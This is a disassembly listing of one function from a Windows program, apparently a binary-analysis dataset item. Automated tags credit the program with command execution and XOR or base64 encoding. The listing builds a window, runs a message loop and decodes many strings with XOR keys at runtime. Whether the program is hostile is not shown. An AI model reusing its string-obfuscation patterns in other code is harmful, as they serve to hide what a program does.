Function at 0x140022010
Capabilities:
Authenticate hmac
Encode data using base64
Encode data using xor
Execute command
Parse pe header
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x10d0]
mov eax, 0x11d0
call fcn.1400f2f80
sub rsp, rax
movaps xmmword [rsp + 0x11c0], xmm6
movaps xmmword [rsp + 0x11b0], xmm7
movaps xmmword [rsp + 0x11a0], xmm8
movaps xmmword [rsp + 0x1190], xmm9
movaps xmmword [rsp + 0x1180], xmm10
movaps xmmword [rsp + 0x1170], xmm11
movaps xmmword [rsp + 0x1160], xmm12
movaps xmmword [rsp + 0x1150], xmm13
movaps xmmword [rsp + 0x1140], xmm14
movaps xmmword [rsp + 0x1130], xmm15
mov rax, qword [0x140160080]
xor rax, rsp
mov qword [rbp + 0x1020], rax
mov r12, rcx
mov qword [rbp + 0x818], rcx
xor esi, esi
call fcn.14007dcf0
lea edx, [rsi + 0x14]
lea ecx, [rsi + 2]
call fcn.1400077f0
movsxd rdx, eax
lea rcx, [rbp + 0xdb0]
call fcn.140007310
nop
mov dword [rbp + 0xd30], 0x50
mov dword [rbp + 0xd34], 0x40
lea rax, [0x140020130]
mov qword [rbp + 0xd38], rax
mov qword [rbp + 0xd40], rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0xd48], rax
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xd50], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xd60], xmm1
lea rax, [rbp + 0xdb0]
cmp qword [rbp + 0xdc8], 0xf
cmova rax, qword [rbp + 0xdb0]
mov qword [rbp + 0xd70], rax
mov qword [rbp + 0xd78], rsi
lea rcx, [rbp + 0xd30]
call qword [sym.imp.USER32.dll_RegisterClassExA]
lea edx, [rsi + 0x14]
lea ecx, [rsi + 1]
call fcn.1400077f0
mov ebx, eax
lea edx, [rsi + 0x14]
lea ecx, [rsi + 1]
call fcn.1400077f0
lea r8, [rbp + 0xdb0]
cmp qword [rbp + 0xdc8], 0xf
cmova r8, qword [rbp + 0xdb0]
mov qword [rsp + 0x58], rsi
mov rcx, qword [rbp + 0xd48]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
mov r9d, 0x80000000
mov rdx, qword [rbp + 0xd70]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rdi, rax
mov qword [rbp + 0x7e8], rax
mov rcx, rax
call fcn.14001ff20
test al, al
jne 0x14002226c
call fcn.140020040
mov rdx, qword [rbp + 0xd48]
mov rcx, qword [rbp + 0xd70]
call qword [sym.imp.USER32.dll_UnregisterClassA]
nop
lea rcx, [rbp + 0xdb0]
call fcn.140030630
lea eax, [rsi + 1]
mov rcx, qword [rbp + 0x1020]
xor rcx, rsp
call fcn.1400f24a0
lea r11, [rsp + 0x11d0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xor edx, edx
mov rcx, rdi
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rdi
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov edx, 0x37f0
mov r9d, 8
mov r8d, 0x438
lea rcx, str.1.89_WIP
call fcn.140054ef0
xor ecx, ecx
call fcn.140047510
call fcn.1400475f0
mov rbx, rax
mov qword [rbp + 0x828], rax
or dword [rax], 0x400
xor ecx, ecx
call fcn.14006fbf0
call fcn.140044240
mov r13, rax
mov qword [rbp + 0x7d8], rax
lea r14, [rax + 0xc8]
mov qword [rbp + 0x838], r14
movss xmm15, dword [0x14014b4c0]
test dword [rbx], 0x400
je 0x14002239c
mov dword [rax + 0x10], 0x40800000
mov dword [rax + 0x44], 0x40800000
mov dword [rax + 0x2c], 0x40800000
mov dword [rax + 0x88], 0x40800000
mov dword [rax + 0x34], 0x40800000
mov dword [rax + 0x78], 0x40800000
mov dword [rax + 0x80], 0x40800000
mov dword [rax + 0x84], 0x40800000
mov dword [rax + 0x48], 0x3f800000
movss xmm1, dword [0x14014b628]
movaps xmm2, xmm1
lea rcx, [rbp + 0x848]
call fcn.140005b30
movsd xmm0, qword [rbp + 0x848]
movsd qword [r13 + 0x18], xmm0
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x840]
call fcn.140005b30
movsd xmm0, qword [rbp + 0x840]
movsd qword [r13 + 0x20], xmm0
mov rcx, rdi
call fcn.14007b7a0
mov rdx, qword [0x140161a08]
mov rcx, qword [0x140161950]
call fcn.14007b170
lea rcx, [rbp + 0xe90]
call fcn.140074bf0
mov byte [rbp + 0xed8], 1
mov byte [rbp + 0xeb0], 1
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
movss xmm3, dword [0x14014b5d0]
mov r8d, 0x7e67
lea rdx, [0x140107020]
mov rcx, qword [rbx + 0x50]
call fcn.1400752c0
lea rax, [0x140148e38]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xe90]
mov qword [rsp + 0x20], rax
movss xmm3, dword [0x14014b5dc]
mov r8d, 0x34b5f
lea rdx, [0x14010f1c0]
mov rcx, qword [rbx + 0x50]
call fcn.1400752c0
mov qword [rbp + 0xdf0], rsi
mov dword [rbp + 0xdf8], esi
mov qword [rbp + 0xe08], rsi
mov dword [rbp + 0xe10], esi
mov eax, dword [0x140161654]
add eax, 0xfffff894
mov dword [rbp + 0xe04], eax
mov eax, dword [0x140161348]
dec eax
mov dword [rbp + 0xe00], eax
mov eax, dword [0x140161674]
mov dword [rbp + 0xdfc], eax
lea rcx, [rbp + 0xdf0]
call sub.api_ms_win_crt_time_l1_1_0.dll__mktime64
mov rdx, rax
lea rcx, [rbp + 0xdd0]
call fcn.140005a10
movss xmm10, dword [0x14014b518]
movss dword [rsp + 0x20], xmm10
movss xmm3, dword [0x14014b4c8]
movss xmm2, dword [0x14014b4c4]
movss xmm1, dword [0x14014b4b8]
lea rcx, [rbp + 0xcf8]
call fcn.140005b40
lea rcx, [rbp + 0xde8]
call fcn.140005b20
mov edx, Ordinal_26
lea rcx, [rbp + 0xe78]
call fcn.14001d8a0
lea rcx, [rbp + 0xe78]
call fcn.14001d880
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe18], xmm0
movups xmmword [rbp + 0xe28], xmm0
movups xmmword [rbp + 0xe38], xmm0
xorps xmm9, xmm9
movss xmm11, dword [0x14014b698]
movss xmm13, dword [0x14014b604]
movss xmm8, dword [0x14014b620]
movss xmm12, dword [0x14014b478]
movss xmm14, dword [0x14014b6c0]
nop word [rax + rax]
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0xe18]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140022580
lea rcx, [rbp + 0xe18]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xe18]
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x14002b90b
call fcn.14007b3d0
call fcn.14007c930
call fcn.1400495a0
cmp byte [0x1401613c5], 0
jne 0x14002b8cb
cmp byte [0x1401613c6], 0
je 0x140022646
mov byte [rbp + 0x6b0], reloc.WLDAP32.dll_Ordinal_45
mov al, 0x63
mov cl, 0x64
mov dl, 0x79
mov r8b, 0x7f
mov r9b, 0x62
mov r10b, reloc.WS2_32.dll_listen
mov r11b, 0x61
movzx ebx, cl
movzx edi, dl
mov sil, 0x68
xor r15d, r15d
xor al, 0x2d
mov byte [rbp + 0x6b1], al
xor cl, 0x2d
mov byte [rbp + 0x6b2], cl
xor dl, 0x2d
mov byte [rbp + 0x6b3], dl
xor r8b, 0x2d
mov byte [rbp + 0x6b4], r8b
xor r9b, 0x2d
mov byte [rbp + 0x6b5], r9b
xor r10b, 0x2d
mov byte [rbp + 0x6b6], r10b
xor r11b, 0x2d
mov byte [rbp + 0x6b7], r11b
xor bl, 0x2d
mov byte [rbp + 0x6b8], bl
xor dil, 0x2d
mov byte [rbp + 0x6b9], dil
xor sil, 0x2d
mov byte [rbp + 0x6ba], sil
mov byte [rbp + 0x6bb], r15b
lea r9, [rbp + 0x6b1]
jmp 0x140022755
movdqa xmm1, xmmword [0x14014c150]
movdqu xmmword [rbp + 0x4d8], xmm1
mov cl, 0x77
mov r8b, reloc.WLDAP32.dll_Ordinal_35
mov r9b, 0x6a
mov r10b, WSAGetLastError
mov r11b, 0x69
mov bl, 0x66
mov dil, 0x60
movzx esi, cl
movzx r14d, bl
mov r15b, 0x67
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rbp + 0x4d9], al
xor byte [rbp + 0x4da], dl
xor byte [rbp + 0x4db], dl
xor byte [rbp + 0x4dc], dl
xor byte [rbp + 0x4dd], dl
xor byte [rbp + 0x4de], dl
xor byte [rbp + 0x4df], dl
xor byte [rbp + 0x4e0], dl
xor byte [rbp + 0x4e1], dl
xor byte [rbp + 0x4e2], dl
xor byte [rbp + 0x4e3], dl
xor byte [rbp + 0x4e4], dl
xor byte [rbp + 0x4e5], dl
xor byte [rbp + 0x4e6], dl
xor byte [rbp + 0x4e7], dl
xor cl, dl
mov byte [rbp + 0x4e8], cl
xor r8b, dl
mov byte [rbp + 0x4e9], r8b
xor r9b, dl
mov byte [rbp + 0x4ea], r9b
xor r10b, dl
mov byte [rbp + 0x4eb], r10b
xor r11b, dl
mov byte [rbp + 0x4ec], r11b
xor bl, dl
mov byte [rbp + 0x4ed], bl
xor dil, dl
mov byte [rbp + 0x4ee], dil
xor sil, dl
mov byte [rbp + 0x4ef], sil
xor r14b, dl
mov byte [rbp + 0x4f0], r14b
xor r15b, dl
mov byte [rbp + 0x4f1], r15b
mov byte [rbp + 0x4f2], 0
lea r9, [rbp + 0x4d9]
lea r14, [r13 + 0xc8]
mov rcx, r12
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rdx, [0x14016032d]
call fcn.140050560
mov eax, dword [rbp + 0xe20]
cmp byte [reloc.WS2_32.dll_accept], 0
mov ecx, reloc.WS2_32.dll_select
cmove eax, ecx
mov dword [rbp + 0xe20], eax
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1400227ab
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [0x140161a88]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov byte [reloc.WS2_32.dll_accept], 0
mov r12d, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [r12 + rcx]
cmp dword [0x140161b0c], eax
jle 0x140022807
lea rcx, [0x140161b0c]
call fcn.1400f2570
cmp dword [0x140161b0c], 0xffffffff
jne 0x140022807
movss xmm2, dword [0x140161344]
movss xmm1, dword [0x140161340]
lea rcx, [0x140161b18]
call fcn.140005b30
nop
lea rcx, [0x140161b0c]
call fcn.1400f2504
movss xmm0, dword [0x140161340]
ucomiss xmm0, xmm9
jp 0x140022888
jne 0x140022888
movss xmm0, dword [0x140161344]
ucomiss xmm0, xmm9
jp 0x140022888
jne 0x140022888
mov edx, 0x1b3
lea ecx, [rdx - 0x1e]
call fcn.1400077f0
movd xmm6, eax
cvtdq2ps xmm6, xmm6
mov edx, 0x26c
lea ecx, [rdx - 0x1e]
call fcn.1400077f0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movaps xmm2, xmm6
lea rcx, [rbp + 0x988]
call fcn.140005b30
movsd xmm1, qword [rax]
movss dword [0x140161340], xmm1
movaps xmm0, xmm1
shufps xmm0, xmm0, 0x55
movsd qword [0x140161b18], xmm1
movss dword [0x140161344], xmm0
mov cl, 1
call fcn.1400083f0
movss xmm2, dword [0x140161b1c]
movss xmm1, dword [0x140161b18]
lea rcx, [rbp + 0x990]
call fcn.140005b30
mov rcx, rax
mov edx, 4
call fcn.140054100
movd xmm0, dword [0x140161a94]
cvtdq2ps xmm0, xmm0
subss xmm0, dword [0x140161b1c]
mulss xmm0, xmm15
cvttss2si edx, xmm0
xor ecx, ecx
call fcn.1400077f0
movd xmm6, eax
cvtdq2ps xmm6, xmm6
movd xmm0, dword [0x140161a90]
cvtdq2ps xmm0, xmm0
subss xmm0, dword [0x140161b18]
mulss xmm0, xmm15
cvttss2si edx, xmm0
xor ecx, ecx
call fcn.1400077f0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movaps xmm2, xmm6
lea rcx, [rbp + 0x998]
call fcn.140005b30
mov rcx, rax
mov edx, 4
call fcn.140053fc0
lea rcx, [rbp + 0x9a0]
call fcn.140053e30
movsd xmm0, qword [rax]
movsd qword [rbp + 0xde8], xmm0
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140022961
movss xmm1, dword [0x14016014c]
mov rcx, r13
call fcn.14001f530
mov rcx, r14
call fcn.14001f6b0
mov byte [reloc.WS2_32.dll_accept], 0
cmp byte [0x140161a4c], 0
je 0x140022997
movss xmm2, dword [0x140161344]
movss xmm1, dword [0x140161340]
lea rcx, [rbp + 0x9a8]
call fcn.140005b30
mov rcx, rax
xor edx, edx
call fcn.140054100
mov byte [0x140161a4c], 0
call fcn.140053df0
movss dword [0x140161340], xmm0
call fcn.140053e10
movss dword [0x140161344], xmm0
lea rcx, [rbp + 0x968]
call fcn.140055710
cvttss2si esi, dword [rax]
lea rcx, [rbp + 0x9b0]
call fcn.140055710
cvttss2si r15d, dword [rax + 4]
lea rcx, [rbp + 0x9b8]
call fcn.140053e30
cvttss2si edi, dword [rax]
lea rcx, [rbp + 0x9c0]
call fcn.140053e30
cvttss2si r14d, dword [rax + 4]
movups xmm0, xmmword [rbp + 0xcf8]
movdqa xmmword [rbp + 0x330], xmm0
lea rcx, [rbp + 0x330]
call fcn.14001da80
mov eax, r15d
cdq
and edx, 3
add eax, edx
sar eax, 2
sub eax, 3
movd xmm2, eax
cvtdq2ps xmm2, xmm2
mov eax, 0x2aaaaaab
imul esi
mov eax, edx
shr eax, 0x1f
add edx, eax
movd xmm1, edx
cvtdq2ps xmm1, xmm1
lea rcx, [rbp + 0xd08]
call fcn.140005b30
movups xmm0, xmmword [rbp + 0xcf8]
movdqa xmmword [rbp + 0x330], xmm0
lea r8, [rbp + 0x330]
mov rdx, qword [rbp + 0xd08]
lea rcx, [0x140105bc4]
call fcn.14001dba0
movups xmm0, xmmword [rbp + 0xcf8]
movdqa xmmword [rbp + 0x330], xmm0
lea r8, [rbp + 0x330]
mov rdx, qword [rbp + 0xd08]
lea rcx, [0x140105bc8]
call fcn.14001dba0
movups xmm0, xmmword [rbp + 0xcf8]
movdqa xmmword [rbp + 0x330], xmm0
lea r8, [rbp + 0x330]
mov rdx, qword [rbp + 0xd08]
lea rcx, [0x140105bcc]
call fcn.14001dba0
movups xmm0, xmmword [rbp + 0xcf8]
movdqa xmmword [rbp + 0x330], xmm0
lea r8, [rbp + 0x330]
mov rdx, qword [rbp + 0xd08]
lea rcx, [0x140105bd0]
call fcn.14001dba0
movaps xmm2, xmm9
movaps xmm1, xmm9
lea rcx, [rbp + 0x9c8]
call fcn.140005b30
mov rbx, rax
movd xmm6, edi
cvtdq2ps xmm6, xmm6
lea ecx, [r14 + 0x20]
movd xmm2, ecx
cvtdq2ps xmm2, xmm2
movaps xmm1, xmm6
addss xmm1, dword [rbp + 0xd08]
addss xmm1, dword [0x14014b5cc]
lea rcx, [rbp + 0x9d0]
call fcn.140005b30
mov r8, rbx
xor edx, edx
mov rcx, rax
call fcn.140054120
movd xmm7, esi
cvtdq2ps xmm7, xmm7
mov eax, 0x66666667
imul r15d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movd xmm2, edx
cvtdq2ps xmm2, xmm2
movss xmm0, dword [rbp + 0xd08]
addss xmm0, dword [0x14014b5b8]
movaps xmm1, xmm7
subss xmm1, xmm0
lea rcx, [rbp + 0x9d8]
call fcn.140005b30
mov byte [rbp + 0x590], reloc.WS2_32.dll_WSACleanup
mov cl, 0x57
movzx edx, cl
xor r8b, r8b
mov r9b, reloc.WS2_32.dll_setsockopt
mov r10b, reloc.WLDAP32.dll_Ordinal_22
mov r11b, 7
xor ebx, ebx
xor cl, 0x74
mov byte [rbp + 0x591], cl
xor dl, 0x74
mov byte [rbp + 0x592], dl
xor r8b, 0x74
mov byte [rbp + 0x593], r8b
xor r9b, 0x74
mov byte [rbp + 0x594], r9b
xor r10b, 0x74
mov byte [rbp + 0x595], r10b
xor r11b, 0x74
mov byte [rbp + 0x596], r11b
mov byte [rbp + 0x597], bl
lea r9d, [rbx + 0x18]
mov r8b, 1
mov rdx, rax
lea rcx, [rbp + 0x591]
call fcn.14004d3b0
movups xmm0, xmmword [rbp + 0xcf8]
movdqa xmmword [rbp + 0x330], xmm0
cmp dword [0x140160218], ebx
setne cl
lea r8, [rbp + 0x330]
movss xmm1, dword [0x140161b20]
call fcn.14001eb80
movups xmm0, xmmword [rbp + 0xcf8]
movdqa xmmword [rbp + 0x330], xmm0
cmp dword [0x14016021c], ebx
setne cl
lea r8, [rbp + 0x330]
movss xmm1, dword [0x140161b20]
call fcn.14001eb80
movups xmm0, xmmword [rbp + 0xcf8]
movdqa xmmword [rbp + 0x330], xmm0
cmp dword [reloc.WS2_32.dll_accept], ebx
setne cl
lea r8, [rbp + 0x330]
movss xmm1, dword [0x140161b20]
call fcn.14001eb80
movups xmm0, xmmword [rbp + 0xcf8]
movdqa xmmword [rbp + 0x330], xmm0
cmp dword [0x140160224], ebx
setne cl
lea r8, [rbp + 0x330]
movss xmm1, dword [0x140161b20]
call fcn.14001eb80
call fcn.14004d450
movaps xmm2, xmm9
movaps xmm1, xmm9
lea rcx, [rbp + 0x9e0]
call fcn.140005b30
mov rbx, rax
movd xmm2, r15d
cvtdq2ps xmm2, xmm2
divss xmm2, dword [0x14014b5bc]
movd xmm0, r14d
cvtdq2ps xmm0, xmm0
addss xmm2, xmm0
addss xmm2, dword [0x14014b5e4]
addss xmm6, dword [rbp + 0xd08]
addss xmm6, dword [0x14014b5cc]
movaps xmm1, xmm6
lea rcx, [rbp + 0x9e8]
call fcn.140005b30
mov r8, rbx
xor edx, edx
mov rcx, rax
call fcn.140054120
lea rcx, [rbp + 0x9f0]
call fcn.140055710
movss xmm2, dword [rax + 4]
subss xmm2, dword [0x14014b588]
movss xmm0, dword [rbp + 0xd08]
addss xmm0, dword [0x14014b5b8]
subss xmm7, xmm0
movaps xmm1, xmm7
lea rcx, [rbp + 0xde0]
call fcn.140005b30
mov byte [rbp + 0x630], 0x60
mov al, 0x43
movzx ecx, al
mov dl, 3
mov r8b, reloc.WS2_32.dll_ntohs
mov r9b, recv
mov r10b, reloc.WS2_32.dll_sendto
mov r11b, 5
movzx ebx, r9b
movzx edi, r10b
xor esi, esi
xor al, 0x60
mov byte [rbp + 0x631], al
xor cl, 0x60
mov byte [rbp + 0x632], cl
xor dl, 0x60
mov byte [rbp + 0x633], dl
xor r8b, 0x60
mov byte [rbp + 0x634], r8b
xor r9b, 0x60
mov byte [rbp + 0x635], r9b
xor r10b, 0x60
mov byte [rbp + 0x636], r10b
xor r11b, 0x60
mov byte [rbp + 0x637], r11b
xor bl, 0x60
mov byte [rbp + 0x638], bl
xor dil, 0x60
mov byte [rbp + 0x639], dil
mov byte [rbp + 0x63a], sil
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0xde0]
lea rcx, [rbp + 0x631]
call fcn.14004d3b0
call fcn.140056200
movss dword [0x140161b20], xmm0
cmp byte [0x1401614e4], sil
je 0x140022e62
cmp dword [0x140160218], esi
je 0x140022e18
movd xmm0, dword [0x1401615fc]
cvtdq2ps xmm0, xmm0
jmp 0x140022e4e
cmp dword [0x14016021c], esi
je 0x140022e2d
movd xmm0, dword [0x140161624]
cvtdq2ps xmm0, xmm0
jmp 0x140022e4e
cmp dword [reloc.WS2_32.dll_accept], esi
je 0x140022e42
movd xmm0, dword [0x1401615dc]
cvtdq2ps xmm0, xmm0
jmp 0x140022e4e
cmp dword [0x140160224], esi
je 0x140022e56
movaps xmm0, xmm9
movss dword [0x140161b20], xmm0
call fcn.140056220
mov byte [0x1401614e4], sil
call fcn.140083870
movaps xmm0, xmm9
call fcn.1400552c0
cmp dword [0x140160218], esi
je 0x140024dae
call fcn.140056200
cvttss2si eax, xmm0
mov dword [0x1401615fc], eax
cmp dword [0x140161638], esi
je 0x140023283
mov byte [rbp + 0x514], WSACleanup
mov al, 0x54
mov cl, 0x5f
mov dl, 0x43
mov r8b, reloc.WS2_32.dll_socket
xor al, 0x71
mov byte [rbp + 0x515], al
xor cl, 0x71
mov byte [rbp + 0x516], cl
xor dl, 0x71
mov byte [rbp + 0x517], dl
xor r8b, 0x71
mov byte [rbp + 0x518], r8b
mov byte [rbp + 0x519], sil
mov byte [rbp + 0x588], 8
mov al, 0x40
mov cl, 0x41
mov dl, 0x5c
mov r8b, 0x4a
mov r9b, 0x47
mov r10b, 0x50
xor al, 8
mov byte [rbp + 0x589], al
xor cl, 8
mov byte [rbp + 0x58a], cl
xor dl, 8
mov byte [rbp + 0x58b], dl
xor r8b, 8
mov byte [rbp + 0x58c], r8b
xor r9b, 8
mov byte [rbp + 0x58d], r9b
xor r10b, 8
mov byte [rbp + 0x58e], r10b
mov byte [rbp + 0x58f], sil
xor r14d, r14d
mov dword [rsp + 0x28], r14d
lea rax, [rbp + 0x515]
mov qword [rsp + 0x20], rax
movss xmm7, dword [0x14014b5b4]
movaps xmm3, xmm7
movss xmm6, dword [0x14014b4c8]
movaps xmm2, xmm6
lea rdx, [0x140160120]
lea rcx, [rbp + 0x589]
call fcn.140086c80
test al, al
je 0x140022f73
mov byte [0x14016134d], 1
mov byte [rbp + 0x54c], recvfrom
mov al, 0x2b
mov cl, reloc.WLDAP32.dll_Ordinal_32
mov dl, reloc.WLDAP32.dll_Ordinal_60
mov r8b, 0x68
mov r9b, 0x63
xor al, 0xe
mov byte [rbp + 0x54d], al
xor cl, 0xe
mov byte [rbp + 0x54e], cl
xor dl, 0xe
mov byte [rbp + 0x54f], dl
xor r8b, 0xe
mov byte [rbp + 0x550], r8b
xor r9b, 0xe
mov byte [rbp + 0x551], r9b
mov byte [rbp + 0x552], sil
mov byte [rbp + 0x554], 0x68
mov al, 0x3a
mov cl, reloc.WLDAP32.dll_Ordinal_45
mov dl, reloc.WLDAP32.dll_Ordinal_41
mov r8b, Ordinal_45
mov r9b, reloc.WLDAP32.dll_Ordinal_32
xor al, 0x68
mov byte [rbp + 0x555], al
xor cl, 0x68
mov byte [rbp + 0x556], cl
xor dl, 0x68
mov byte [rbp + 0x557], dl
xor r8b, 0x68
mov byte [rbp + 0x558], r8b
xor r9b, 0x68
mov byte [rbp + 0x559], r9b
mov byte [rbp + 0x55a], sil
mov dword [rsp + 0x28], r14d
lea rax, [rbp + 0x54d]
mov qword [rsp + 0x20], rax
movss xmm3, dword [0x14014b5a0]
movss xmm2, dword [0x14014b570]
lea rdx, [0x140160114]
lea rcx, [rbp + 0x555]
call fcn.140086c80
test al, al
je 0x140023046
mov byte [0x1401614e6], 1
movdqa xmm1, xmmword [0x14014bff0]
movdqu xmmword [rbp + 0x450], xmm1
mov dl, 0x65
mov r8b, 0x67
mov r9b, 0x6c
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x451], al
xor byte [rbp + 0x452], cl
xor byte [rbp + 0x453], cl
xor byte [rbp + 0x454], cl
xor byte [rbp + 0x455], cl
xor byte [rbp + 0x456], cl
xor byte [rbp + 0x457], cl
xor byte [rbp + 0x458], cl
xor byte [rbp + 0x459], cl
xor byte [rbp + 0x45a], cl
xor byte [rbp + 0x45b], cl
xor byte [rbp + 0x45c], cl
xor byte [rbp + 0x45d], cl
xor byte [rbp + 0x45e], cl
xor byte [rbp + 0x45f], cl
xor dl, cl
mov byte [rbp + 0x460], dl
xor r8b, cl
mov byte [rbp + 0x461], r8b
xor r9b, cl
mov byte [rbp + 0x462], r9b
mov byte [rbp + 0x463], sil
lea rdx, [0x14016133a]
lea rcx, [rbp + 0x451]
call fcn.140082b60
test al, al
je 0x14002310c
mov byte [0x1401614e6], 1
xor ecx, ecx
call fcn.140047120
test al, al
je 0x1400231b3
movdqa xmm0, xmmword [0x14014c190]
movdqu xmmword [rbp + 0x7f0], xmm0
movdqa xmm1, xmmword [0x14014c230]
movdqu xmmword [rbp + 0x800], xmm1
mov dword [rbp + 0x810], 0x7a7374
mov rdi, r14
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x7f1]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x7f0]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x7f1]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 0x22
jb 0x140023150
mov edx, Ordinal_35
lea rcx, [rbp + 0x7f1]
call fcn.14002c180
mov byte [rax], sil
lea rcx, [rbp + 0x7f1]
call fcn.140006740
mov rcx, rax
call fcn.140056580
call fcn.140083870
mov byte [rbp + 0x504], recvfrom
mov al, reloc.WLDAP32.dll_Ordinal_41
mov cl, Ordinal_35
mov dl, 0x3e
mov r8b, 0x6a
xor al, 0xc
mov byte [rbp + 0x505], al
xor cl, 0xc
mov byte [rbp + 0x506], cl
xor dl, 0xc
mov byte [rbp + 0x507], dl
xor r8b, 0xc
mov byte [rbp + 0x508], r8b
mov byte [rbp + 0x509], sil
mov byte [rbp + 0x580], reloc.WLDAP32.dll_Ordinal_30
mov al, 0x4d
mov cl, 0x56
mov dl, 0x5f
mov r8b, 0x5a
mov r9b, 0x51
mov r10b, 0x49
xor al, 0x1e
mov byte [rbp + 0x581], al
xor cl, 0x1e
mov byte [rbp + 0x582], cl
xor dl, 0x1e
mov byte [rbp + 0x583], dl
xor r8b, 0x1e
mov byte [rbp + 0x584], r8b
xor r9b, 0x1e
mov byte [rbp + 0x585], r9b
xor r10b, 0x1e
mov byte [rbp + 0x586], r10b
mov byte [rbp + 0x587], sil
mov dword [rsp + 0x28], r14d
lea rax, [rbp + 0x505]
mov qword [rsp + 0x20], rax
movaps xmm3, xmm7
movaps xmm2, xmm6
lea rdx, [0x1401601d0]
lea rcx, [rbp + 0x581]
call fcn.140086c80
test al, al
je 0x140023286
mov byte [0x14016134d], 1
jmp 0x140023286
xor r14d, r14d
cmp dword [0x14016163c], esi
je 0x140024dae
mov byte [rbp + 0x578], reloc.WS2_32.dll_WSAStartup
mov al, reloc.WLDAP32.dll_Ordinal_33
mov cl, 0x36
mov dl, reloc.WLDAP32.dll_Ordinal_32
mov r8b, Ordinal_60
movzx r9d, dl
mov r10b, Ordinal_41
xor al, 0x73
mov byte [rbp + 0x579], al
xor cl, 0x73
mov byte [rbp + 0x57a], cl
xor dl, 0x73
mov byte [rbp + 0x57b], dl
xor r8b, 0x73
mov byte [rbp + 0x57c], r8b
xor r9b, 0x73
mov byte [rbp + 0x57d], r9b
xor r10b, 0x73
mov byte [rbp + 0x57e], r10b
mov byte [rbp + 0x57f], sil
mov dword [rsp + 0x28], r14d
lea r15, [0x140105be4]
mov qword [rsp + 0x20], r15
mov r9d, 4
xor r8d, r8d
lea rdx, [0x1401615d0]
lea rcx, [rbp + 0x579]
call fcn.140086cd0
xor ecx, ecx
call fcn.140047120
test al, al
je 0x1400237d4
mov byte [rbp + 0x258], Ordinal_50
mov dl, WSAStartup
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x259], al
mov dl, 0x65
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x25a], al
mov dl, 0x71
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x25b], al
mov dl, 0x75
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x25c], al
mov dl, 0x69
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x25d], al
mov dl, WSAStartup
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x25e], al
mov dl, 0x65
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x25f], al
mov dl, 0x64
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x260], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x261], al
mov dl, 0x61
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x262], al
mov dl, 0x6d
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x263], al
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x264], al
mov dl, 0x75
lea rcx, [rbp + 0x258]
